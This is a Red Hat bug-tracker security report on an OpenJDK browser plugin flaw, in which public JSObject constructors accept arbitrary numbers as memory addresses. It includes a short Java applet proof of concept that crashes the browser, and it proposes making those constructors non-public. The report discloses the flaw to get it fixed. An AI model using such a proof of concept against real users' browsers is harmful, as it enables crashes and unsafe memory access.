Bug 512714

Summary: OpenJDK JSObject constructor crashing browser plugin
Product: [Other] Security Response Reporter: Marc Schoenefeld <mschoene>
Component: vulnerabilityAssignee: Red Hat Product Security <security-response-team>
Status: CLOSED ERRATA QA Contact:
Severity: medium Docs Contact:
Priority: low    
Version: unspecifiedCC: aph, dbhole, patrickm, rruss, security-response-team
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2016-09-09 02:24:10 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:

Description Marc Schoenefeld 2009-07-20 14:13:58 UTC
public class TestApplet extends Applet {
        public static void main(String[] a) {

        }

        public void init() {
                JSObject i = new JSObject(Integer.MAX_VALUE);
                JSObject j = new JSObject(Long.MAX_VALUE);
                i.getMember("Willi");
                j.getMember("Willi");
        }
}

segfaults the browser. The parameter to JSObject is interpreted as memory location, and a getMember call makes access to it. Giving these functionality to untrusted 

Affects: 
F10, F11

Proposed fix: 
Remove public visibility of JSObject(long) and JSObject(int)